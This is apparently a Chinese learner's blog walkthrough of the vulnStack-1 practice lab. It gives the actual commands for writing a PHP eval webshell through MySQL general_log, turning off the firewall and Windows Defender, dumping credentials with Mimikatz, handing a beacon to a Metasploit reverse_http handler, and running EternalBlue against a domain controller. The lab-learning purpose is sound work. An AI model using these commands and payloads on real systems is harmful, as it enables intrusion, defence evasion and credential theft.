vulnStack-1


前言:学学渗透,春秋云镜太贵辣,尝试下红日靶场,还没有打穿。。。。。

靶场搭建

官网下载虚拟机环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶场搭建过程参考:

https://blog.csdn.net/weixin_39190897/article/details/118353886

该靶场的网络拓扑图:

image-20230423151951976

遇到的问题

1,win7无法开启phpstudy,重启试过也不行

解决方法,手动开启apache和mysql

  • 开启apache
1
2
3
4
5
进入C:\phpStudy\Apache\bin

执行这两条命令
httpd.exe -k install
httpd.exe -k -n apache2.4

image-20230423154128652

  • 开启mysql
1
2
3
4
进入:
C:\phpStudy\MySQL\bin
执行:
mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables

image-20230423154349718

2,网络设置,攻击机需要与靶机在同一个网段,攻击机还要设置网关(我的win11就是因为没有设置网关而出问题,卡了半天)

访问web服务,成功搭建开始渗透:

image-20230423164145971

外网渗透

访问服务,是一个phpStudy 探针,可以测试链接mysql,账号密码是rootroot。但是并没有什么卵用,dirsearch扫一下:

image-20230423165152413

弱口令,root,root进入phpMyadmin 【https://www.cnblogs.com/liliyuanshangcao/p/13815242.html#_label1_0】

利用phpMyadmin存在的漏洞来getShell:

尝试利用into outfile写入木马,该方法需要满下列条件:

  • 当前的数据库用户有写权限
  • 知道web绝对路径
  • web路径能写

SELECT @ @basedir 查看路径

image-20230423170835203

执行`show variables like ‘%secure%’;

image-20230423170520610

secure_file_priv为NULL时,表示限制Mysql不允许导入导出,要想使得写入文件语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可,但是在phpMyadmin中无法修改my.ini文件,换!

通过写入日志文件getshell

1
2
3
4
set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C://phpStudy//WWW//shell.php"; //分隔符要使用,否则无法写入
select "<?php eval($_POST['cmd']);?>";

这个给靶场还存在ycxcms也能getshell

内网渗透

cs上线

1,生成cs木马,蚁剑上传

先关闭防火墙

1
netsh advfirewall set allprofiles state off

再执行木马程序:

稍等一会可以看到已经上线

image-20230424010441617

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢,进入 beacon 执行 sleep 5 或者右键主机选择 会话→Sleep进行设置

2,信息收集:

  • 网络信息
1
shell ipconfig

image-20230424011201489

  • Minikatz抓本机用户密码,成功获取为Qwer1234

image-20230424011508402

  • 提权,利用 MS14-058 成功提权到 SYSTEM 系统权限账户。(看wp说的用这个洞来提权,但是我靶场搭建起来就是SYSTEM权限诶。先不管跟着打一遍)

image-20230424011713237

###域环境信息收集

内网信息收集的主要目的就是查找域控以及域内的其他主机,

部分内网信息收集的命令:

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

1,先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

image-20230424194224649

2,查看有几个域(域环境可能存在多个域)

1
net view /domain

发现只有一个域GOD

image-20230424195406949

3,查看域控

1
net group "domain controllers" /domain

直接确认域控主机的名称为 OWA

image-20230424195340228

4,查看局域网内其他主机信息(主机名称、IP地址)

注:用cs中的net view可以直接查看到ip

1
net view

image-20230424201421970

image-20230424202118757

执行命令net group "domain computers" /domain 查看域中的其他主机名

image-20230424201825436

内网信息收集完毕:

  • 域控:192.168.52.138 OWA
  • 域成员:192.168.52.141(ROOT-TVI862UBEH),192.168.52.143 (STU1已经控制的机器)

注:扫描存活机器的时候还可以利用msf中的模块来探测

1
2
3
4
5
探测主机存活
use post/windows/gather/arp_scanner
set SESSION 1
set RHOSTS 192.168.52.1-255
run

内网横向渗透

以win7为调板机,横向渗透拿下域内成员及其域控

###CS派生会话给公网MSF

启动msf,开启监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.14.128
set lport 7777
exploit

image-20230424212955014

CS开启监听:

image-20230424213157701

CS中添加会话,选择刚刚添加的监听器,转到msf这边可以看到已近收到了

image-20230424213430796

msf功能强大,才学也不知可以干些什么。这里跟着师傅们的操作学学:

1
2
3
4
run post/windows/gather/checkvm   #判断是否是虚拟机(检测是否进入了蜜罐)
run post/windows/gather/enum_applications #枚举出靶机上的应用程序
run post/multi/manage/autoroute #加载MSF的autoroute模块,获取当前机器的所有网段信息
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD #添加目标内网路由

可以看到已经检测出是虚拟机了

image-20230424214119508

###永恒之蓝攻击

利于msf是为了借助他的攻击模块,展开横向渗透,拿下域中其他机器。

####静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。

1,查看靶机网段信息

image-20230424215141499

2,添加目标内网路由

####MSF内网端口扫描

现在路由可达内网网段,可以先对内网主机进行探测。

1,使用auxiliary/scanner/portscan/tcp模块对192.168.52.141192.168.52.138开放的端口进行扫描(这里要先推出当前模块,使用background命令,获取如果要返回使用sessions -i即可)

1
2
3
4
5
6
7
#msf自带模块
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

#nmap,msf结合了nmap,可以直接里哟nmap来扫描

image-20230424220641489

####使用ms17-010进行攻击

1,使用MSF 自带的漏洞扫描模块进行扫描:

1
2
3
4
search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
set rhosts 192.168.52.141 #设置被扫描的主机IP
run #进行扫描,观察是否存在该漏洞

这发现都存在永恒之蓝漏洞

image-20230424221152505

2,利于该漏洞拿下域控

关闭跳板机防火墙:

1
2
3
4
sessions -l #查看所有会话
sessions 4 #进入会话4中
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

image-20230425210633606

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

image-20230424221724928

报错,并没有把域控打蓝屏,也没有拿到shell。

根据报错,搜了下并没有解决问题,后面打开的时候莫名奇妙域环境中端口也不通了。暂时先了解下流程,后面多学点再来试试

image-20230425223010635

image-20230425223036044

知识点

1,如何判断是否存在域环境

  • net config Workstation :查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
  • ipconfig /all :查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

问题

  • 计网知识掌握太少,对于一些操作为什么要去这样做不是很理解
  • 域相关知识不了解

工具使用

参考